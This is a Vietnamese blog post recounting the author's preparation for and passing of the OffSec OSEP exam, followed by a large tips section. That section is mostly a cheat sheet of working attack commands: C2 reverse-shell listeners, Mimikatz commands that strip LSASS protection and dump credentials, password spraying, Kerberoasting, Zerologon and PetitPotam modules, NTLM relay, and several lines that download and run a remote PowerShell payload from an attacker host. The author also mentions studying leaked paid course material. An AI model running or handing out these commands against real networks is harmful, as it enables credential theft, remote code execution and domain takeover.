Cách OSEP(Advanced Evasion Techniques and Breaching Defenses) làm khó tôi "A Little Bit"
What the heck OSEP🏳️🌈
- Ngắn gọn: Nâng cao AD của OSCP
- Dài dòng: Đây là khóa học thử nghiệm thâm nhập nâng cao. Những người học hoàn thành khóa học và vượt qua bài kiểm tra sẽ nhận được chứng chỉ Pentester có kinh nghiệm của OffSec (OSEP). Khóa học này dựa trên kiến thức và kỹ thuật được dạy trong Kiểm tra thâm nhập với Kali Linux, dạy người học thực hiện các kiểm tra thâm nhập nâng cao chống lại các tổ chức trưởng thành có chức năng bảo mật đã được thiết lập và tập trung vào việc vượt qua các cơ chế bảo mật được thiết kế để chặn các cuộc tấn công.
- Như thường lệ chúng ta sẽ được vứt cho tài liệu, lab để tự bơi (thế mà cũng đòi lấy 1649$) và đây là nội dung khóa học:
How to pass
Lý do học
- Mình thấy review course này khó => muốn thử thách bản thân vì lúc mình thi OSWE gần như không mang lại có chút thử thách nào cho mình.
- KPI công ty =) that's all
Prepare
Trước giờ mình chỉ tập trung vào web exploit lên kiến thức về Active Directory(AD) và Bypass AV của mình khá là yếu. Lúc bắt đầu đăng kí mình cũng khá là lo không biết là có tiếp thu được hết kiến thức không. Thế nên là mình đã quyết định đọc thêm về Bypass AV của MalDev Academy(leak ¯\(ツ)/¯ ) trước khi đăng kí khoảng 2 tuần. Nói qua về MalDev Academy thì mình thấy nó dạy khá là nhiều kĩ thuật hay nhưng chủ yếu sẽ dùng C/C++ mà mình quá lười để viết lại nên là "Hey Copilot chuyển cho tao đoạn code C/C++ này sang C#"
Bạn sẽ được khuyến nghị có khả năng đọc viết C# và Powershell nếu không bạn sẽ bị ngợp vì trong khóa học liên tục spam C# và Powershell. Bạn nên đọc Defcon C# workshop (https://github.com/mvelazc0/defcon27_csharp_workshop)
Điểm ăn tiền của Offsec luôn luôn là lab. Mặc dù trong OSEP chỉ có 6 lab nhưng chúng được thiết kế khá tốt và bám sát vào nội dung đã được dạy nếu bạn tự làm hết 6 lab thì có thể tự tin đi thi rồi.
Trong quá trình học thì trung bình mỗi ngày mình dành 4 tiếng để học và sau khoảng 2 tháng mình đã hoàn thành gần xong hết nên mình bắt đầu chọn ngày thi. Ngày thi đầu tiên của mình là 31/3 do không còn ngày nào trống nên mình đăng kí để giữ slot tuy nhiên mình biết sẽ luôn có người sợ và dời lịch thi nên vào đầu ngày hoặc cuối ngày mình sẽ check xem có ngày nào trống không để nhảy vào luôn. Sau khoảng 2 lần nhảy thì mình được đăng kí thi vào ngày 4/3 (pertfect vì mình ghét cảm giác chờ đợi \(-o-)/ nhưng vẫn phải đợi 2 tuần để thi =)))
Exam & Cách mình tự phế bản thân
Mình khá là thích sự linh hoạt của OSEP vì nó cho phép ta có nhiều con đường để đến cùng 1 kết quả. Để pass OSEP bạn chỉ cần đạt 1 trong 2 điều sau:
- Đạt ít nhất 100 points ( Tùy vào các máy mà bạn có thể có 20 points cho bài phải leo thang đặc quyền, 10 points cho bài không yêu cầu leo thang và có bài không cho point nào)
- Đạt được objective của bài thi ( Thông thường sẽ là đọc secret.txt nằm sâu bên trong )
Mình bắt đầu bài thi lúc 5PM và sau khoảng 2h mình đã có được init access tuy nhiên 4h sau đó mình không có cái gì mới. Trong 4h đó mình đã sử dụng rất nhiều tool để recon nhưng không đem lại kết quả gì mình quyết định là không thể lười được nữa time to manual
Đúng 30 phút sau mình có vector khai thác tiếp và đã nhìn ra điểm cuối cùng mình cần đến. Sau khi nhìn ra đường mình cần đi thì mình đã quyết định đi ngủ =)). Sau khi làm 1 giấc 8 tiếng thì mình mất khoảng 5 tiếng đã lấy được secret.txt. Đủ rồi end exam thôi 🙃🙃
Ở công ty mình luôn joke lúc thi 1 là full hoặc 2 là fail mà giờ dừng như này chúng nó gáy mình chết thế là mình đi gáy 1 tí rồi lại vào làm tiếp. Sau khi biết đã pass + tâm lý khá thỏa mái lên mình cũng chỉ mất thêm 10h để làm full cả OSEP.
Lại làm 1 giấc rồi đi viết báo cáo thôi!!! . Lúc đấy còn khoảng 4h trước khi end exam lên mình quyết định ngồi viết report luôn. Sau khi viết được 1 nửa, mình nghĩ mịa giờ viết full cách mình làm chắc ỉ* cụ ra quần mà bae mình đang gọi đi chơi cộng với mình quá lười để viết full thế nên mình chỉ viết đến phần đủ pass và backup thêm 1 số thứ nữa rồi quấn gói đi chơi.
Tips & Trick
Chọn C2
Mặc dù OSEP chỉ dạy bạn sử dụng metasploit nhưng bạn hoàn toàn có thể sử dụng các c2 framework khác miễn là chúng open source. Trong quá trình học mình đã tham khảo qua 1 số c2 khác và đã chọn Sliver làm C2 chính còn Metasploit làm backup vì mình có thể chuyển shell qua lại giữa chúng. Đây là cách setup của mình:
## Setup sliver beacon
profiles new beacon --mtls 192.168.49.120:8081 --format shellcode --seconds 5 --jitter 3 primary-payload
stage-listener -u tcp://192.168.49.120:8080 -p primary-payload --prepend-size
## Metasploit
msfconsole -x "use exploit/multi/handler;set payload windows/x64/meterpreter/reverse_tcp;set LHOST tun0;set LPORT 443;set EnableStageEncoding true;set StageEncoder x64/xor;set ExitOnSession false;exploit -jz"
## Chuyển từ metasploit sang sliver
use windows/local/payload_inject
set payload windows/x64/custom/reverse_tcp
set session 1
set LHOST tun0
set LPORT 8080
run
## Chuyển từ sliver sang metaploit
msf-inject -L 192.168.13.X -l 443 -m meterpreter/reverse_tcp
Điểm mình thích ở Sliver là nó cho phép mình chạy .Net assembly dễ dàng và nhanh chóng còn metasploit thì quá dài (các bạn sẽ cảm nhận rõ khi gặp bài có Applocker khi mà ta phải compile lại để có thể sử dụng với Living Off The Land Binaries, Scripts and Libraries (https://lolbas-project.github.io/)
## Metasploit
meterpreter > bg
use /post/windows/manage/execute_dotnet_assembly/
set SESSION 1
set DOTNET_EXE /opt/SharpCollection/Seatbelt.exe
set ARGUMENTS '-group=system'
run
## Sliver
seatbelt -- -group=system
sideload /home/kali/Desktop/shell/mimikatz/x64/mimikatz.exe '' \"kerberos::list /export\" \"exit\"
Cái gì người khác làm tốt thì cứ để người khác làm
Tất nhiên Sliver cũng có điểm yếu của nó và mình đã dùng metasploit để khắc phục điều đó:
- File stage của sliver là quá lớn => Sử dụng metasploit làm init access
- Khả năng sử lí access token của sliver không ổn định => Sử dụng metasploit để steal hay migrate vào tiến trình có token khác
- Cả 2 tunnel của bọn này đều lởm => Chisel
Hiểu khả năng các tool bạn sử dụng
Mình khuyến khích các bạn hiểu rõ 1 số tool sau sẽ giúp cuộc sống các bạn dễ dàng hơn:
- Mimikatz => cần phải lói tại sao nữa à =))
#export ticket
kerberos::list /export exit
#Load mimidrv
sc create mimidrv binPath= C:\inetpub\wwwroot\upload\mimidrv.sys type= kernel start= demand
sc start mimidrv
or
privilege::debug
!+
#disable lsa
!processprotect /process:lsass.exe /remove
exit
#dump credential
privilege::debug
sekurlsa::logonpasswords
exit
sekurlsa::pth /user:Administrator /domain:hacklab.local /ntlm:b09a14d2d325026f8986d4a874fbcbc7
sideload /home/kali/Desktop/shell/mimikatz/x64/mimikatz.exe '' \"!+\" \"!processprotect /process:lsass.exe /remove\" \"exit\"
sideload /home/kali/Desktop/shell/mimikatz/x64/mimikatz.exe '' \"lsadump::dcsync /domain:infinity.com /user:corp\krbtgt\" \"exit\"
sideload /home/kali/Desktop/shell/mimikatz/x64/mimikatz.exe '' \"privilege::debug\" \"sekurlsa::logonpasswords\" \"exit\"
sideload /home/kali/Desktop/shell/mimikatz/x64/mimikatz.exe '' \"privilege::debug\" \"token::elevate\" \"lsadump::secrets\" \"exit\"
- CrackMapExec => Bạn sẽ không muốn phải thử từng password với từng user đâu tin mình đi
crackmapexec [protocol] 10.10.10.1
crackmapexec <protocol> --help
crackmapexec ldap -L //list Module
#SMB
crackmapexec smb 192.168.133.0/24
#Null session unum user
crackmapexec smb 10.129.203.121 -u '' -p '' --users --export $(pwd)/users.txt
sed -i "s/'/\"/g" users.txt;jq -r '.[]' users.txt > userslist.txt // extract user
#Using Krb5cc
crackmapexec smb 172.16.246.160-170 -k --use-cache
#Enum share
crackmapexec smb 10.129.203.121 -u guest -p '' --shares //Null Session
crackmapexec smb 10.129.203.121 -u grace -p Inlanefreight01! --shares
crackmapexec smb 10.129.203.121 -u grace -p Inlanefreight01! --spider IT --pattern txt //Find txt in share
crackmapexec smb 10.129.204.177 -u grace -p Inlanefreight01! --spider IT --regex . //List ALl
crackmapexec smb 10.129.204.177 -u grace -p Inlanefreight01! --spider IT --content --regex Encrypt //Search with content
crackmapexec smb 10.129.203.121 -u grace -p Inlanefreight01! --share IT --get-file Creds.txt Creds.txt // download file
crackmapexec smb 10.129.203.121 -u grace -p Inlanefreight01! --share IT --put-file /etc/passwd passwd // upload
crackmapexec smb 10.129.203.121 -u grace -p 'Inlanefreight01!' -M spider_plus -o EXCLUDE_DIR=IPC$,print$,NETLOGON,SYSVOL
cat /tmp/cme_spider_plus/10.129.203.121.json
#Spray passworod
crackmapexec smb 10.129.203.121 -u users.txt -p Inlanefreight01! --continue-on-succes
crackmapexec smb 10.129.203.121 -u noemi grace david carlos -p Inlanefreight01! Inlanefreight02!
crackmapexec smb 10.129.203.121 -u users.txt -p passwords.txt --continue-on-succes
crackmapexec smb 10.129.203.121 -u userfound.txt -p passfound.txt --no-bruteforce --continue-on-success // 1-1 on wordlist
crackmapexec smb 192.168.133.157 -u Administrator -p Password@123 --local-auth //Ussing LocalAccount
smbpasswd -r 10.129.203.121 -U peter //Status PASSWORD_MUST_CHANGE
crackmapexec smb 10.129.203.121 -u userfound.txt -p passfound.txt --no-bruteforce --continue-on-success
crackmapexec winrm 10.129.203.121 -u userfound.txt -p passfound.txt --no-bruteforce --continue-on-success //check winrm
crackmapexec ldap dc01.inlanefreight.htb -u julio grace -p Inlanefreight01! //LDAP
crackmapexec mssql 10.129.203.121 -u julio grace jorge -p Inlanefreight01! //AD Account
crackmapexec mssql 10.129.203.121 -u julio grace -p Inlanefreight01! -d . //Local Account
crackmapexec mssql 10.129.203.121 -u julio grace -p Inlanefreight01! --local-auth //SQL Account
#ASREPRoastable
crackmapexec ldap dc01.inlanefreight.htb -u users.txt -p '' --asreproast asreproast.out // brute force
crackmapexec ldap dc01.inlanefreight.htb -u grace -p Inlanefreight01! --asreproast asreproast.out // search
hashcat -m 18200 asreproast.out /usr/share/wordlists/rockyou.txt // crackpassword
crackmapexec smb 10.129.203.121 -u grace -p Inlanefreight01! -M gpp_autologin // grep auto login
crackmapexec smb 10.129.203.121 -u grace -p Inlanefreight01! -M gpp_password
crackmapexec ldap dc01.inlanefreight.htb -u grace -p Inlanefreight01! -M user-desc
#SQL
crackmapexec mssql 10.129.203.121 -u grace -p Inlanefreight01! -q "SELECT name FROM master.dbo.sysdatabases"
crackmapexec mssql 10.129.203.121 -u nicole -p Inlanefreight02! --local-auth -x whoami
crackmapexec mssql 10.129.203.121 -u nicole -p Inlanefreight02! --local-auth --put-file /etc/passwd C:/Users/Public/passwd //upload
crackmapexec mssql 10.129.203.121 -u nicole -p Inlanefreight02! --local-auth --get-file C:/Windows/System32/drivers/etc/hosts hosts //download
crackmapexec mssql 10.129.203.121 -u robert -p Inlanefreight01! -M mssql_priv //check priv
crackmapexec mssql 10.129.203.121 -u robert -p Inlanefreight01! -M mssql_priv -o ACTION=privesc
#Kerberoasting
crackmapexec ldap dc01.inlanefreight.htb -u grace -p 'Inlanefreight01!' --kerberoasting kerberoasting.out
hashcat -m 13100 kerberoasting.out /usr/share/wordlists/rockyou.txt
crackmapexec ldap dc01.inlanefreight.htb -u robert -p Inlanefreight01! --trusted-for-delegation
crackmapexec smb 10.129.204.133 -u robert -p 'Inlanefreight01!' --exec-method smbexec -x whoami
crackmapexec smb 10.129.204.133 -u robert -p 'Inlanefreight01!' -M web_delivery -o URL=http://10.10.14.33:8443/2S1jAHS
proxychains4 -q crackmapexec smb 172.16.10.3 -M Zerologon
proxychains4 -q crackmapexec smb 172.16.10.3 -M PetitPotam
proxychains4 -q crackmapexec smb 172.16.10.3 -u carole.holmes -p 'Y3t4n0th3rP4ssw0rd' -M nopac
proxychains4 -q crackmapexec smb 172.16.10.3 -u carole.holmes -p 'Y3t4n0th3rP4ssw0rd' -M dfscoerce
proxychains4 -q crackmapexec smb 172.16.10.3 -u carole.holmes -p 'Y3t4n0th3rP4ssw0rd' -M shadowcoerce
- Rubeus => Như mimikatz
rubeus.exe asktgt /user:harshitrajpal /password:Password@1
rubeus.exe asktgt /user:harshitrajpal /rc4:64FBAE31CC352FC26AF97CBDEF151E03
#ask TGS
rubeus.exe asktgs /user:harshitrajpal /ticket:doIFNDCCBTCgAwIBB...bA== /service:LDAP/dc1.ignite.local
#brute force
rubeus.exe brute /password:Password@1 /noticket
#Pass the Ticket
rubeus.exe ptt /ticket:doIFNDCCBTCgAwI...bA==
rubeus.exe monitor /targetuser:noob$ /interval:10
#kerberroasting
rubeus.exe kerberoast /spn:ldap/dc1.ignite.local/ignite.local
rubeus.exe asreproast /spn:ldap/dc1.ignite.local/ignite.local
rubeus.exe asreproast /spn:ldap/dc1.ignite.local/ignite.local /format:hashcat
rubeus.exe changepw /ticket:doIFNDCC...bA== /new:Password@1!!!
rubeus.exe changepw /targetuser:ignite.local\mufasa /ticket:doIFNDCC...bA== /new:Password@1!!!
- SQLRecon => Viết sql quá mỏi tay ư không sao
#SQLRecon
sqlrecon '' -a Windows -s sql05 -m whoami
sqlrecon '' -a Windows -s sql05 -m smb -o \\\\192.168.45.204\\nothing
sqlrecon '' -a Local -s localhost -u webapp11 -p 89543dfGDFGH4d -m lwhoami -l sql27
sqlrecon '' -a Local -s localhost -u webapp11 -p 89543dfGDFGH4d -m lenablexp -l sql27
sqlrecon '' -a Local -s localhost -u webapp11 -p 89543dfGDFGH4d -m lxpcmd -l sql27 -o \"powershell iex(irm -uri http://192.168.45.237/payload.txt)\"
- PowerUpSQL => Cùng tính năng như trên nhưng điểm nổi bật là crawlink
sharpsh '' -u http://192.168.45.237/recon/PowerUpSQL.ps1 -c \"Get-SQLInstanceLocal | Get-SQLServerInfo\"
sharpsh -t 300 '' -u http://192.168.45.237/recon/PowerUpSQL.ps1 -c \"Get-SQLServerLink\"
sharpsh -t 300 '' -u http://192.168.45.237/recon/PowerUpSQL.ps1 -c \"Get-SqlServerLinkCrawl -username webapp11 -password 89543dfGDFGH4d\"
Get-SQLInstanceDomain | Get-SQLServerInfo
Get-SQLServerInfo -Instance TARGETSERVER
Invoke-SQLAudit -Verbose -Instance TARGETSERVER
Get-SQLQuery -Query "SELECT system_user" -Instance TARGETSERVER
Get-SqlServerLinkCrawl -Instance TARGETSERVER | select instance,links | ft
Get-SqlServerLinkCrawl -Instance TARGETSERVER -Query "select * from master..syslogins" | ft
- Impacket => who need windows to exploit
proxychains impacket-ntlmrelayx --no-http-server -smb2support -t 172.16.162.151 -c 'powershell iex(irm -uri http://192.168.45.204/payload.txt)'
proxychains impacket-secretsdump -k -no-pass dmzdc01.COMPLYEDGE.COM
proxychains impacket-getTGT -dc-ip 172.16.175.168 -hashes aad3b435b51404eeaad3b435b51404ee:e48c13cefd8f9456d79cd49651c134e8 complyedge.com/jim
- BloodHound => Cách bạn query quyết định nó ngon hay không
sudo neo4j console
./BloodHound --no-sandbox
execute-assembly -t 300 /home/kali/Desktop/shell/csharp/SharpHound.exe --CollectionMethods All,GPOLocalGroup,LoggedOn --ZipFileName output.zip -SearchForest --Domain
execute-assembly -t 300 /home/kali/Desktop/shell/csharp/SharpHound.exe --CollectionMethods All,GPOLocalGroup,LoggedOn --ZipFileName output.zip --ldapusername adminWebSvc
sharp-hound-4 '' -c All,GPOLocalGroup,LoggedOn --ZipFileName output.zip
sharp-hound-4 '' -c All,GPOLocalGroup,LoggedOn --ZipFileName output.zip -s --Domain
sharp-hound-4 '' -c All,GPOLocalGroup,LoggedOn --ZipFileName output.zip -s --Domain
- Remmina cũng ngon đấy nhưng chưa bằng RDP => mình có 1 tips có thể RDP từ máy Windows host vào máy Windows bạn đã exploit ( Mình sẽ nói về cách setup nếu rảnh )
Final Thought
- Điều khó khăn nhất trong lúc học là my bae gọi tôi đi ngủ lúc 11h và spam tôi chả quan tâm ẻm 😐️😐️
- Hãy lười và tìm cách ít tốn thao tác nhất nhưng cũng phải chuẩn bị làm mọi thứ bằng tay =))
- Vẫn như thường lệ mình nghĩ Offsec cung cấp các kiến thức nền tảng nâng cao và bạn sẽ phải tự đào sâu
- Đừng bao giờ tin vào document của MS nó lừa đấy =))
- Haiz cuối cùng cũng phải học PWN 😬😬
==> Bên mình vẫn đang tuyển những bạn trẻ tài năng và có đam mê về an toàn thông tin nhé đừng ngại PM mình nha 👋👋
Resource
https://bishopfox.com/blog/passing-the-osep-exam-using-sliver
https://github.com/In3x0rabl3/OSEP
https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/
https://github.com/hackinaggie/OSEP-Tools-v2
https://the-pentesting-guide.marmeus.com/active-directory/domain-trusts#bidirectional-extra-sid
All rights reserved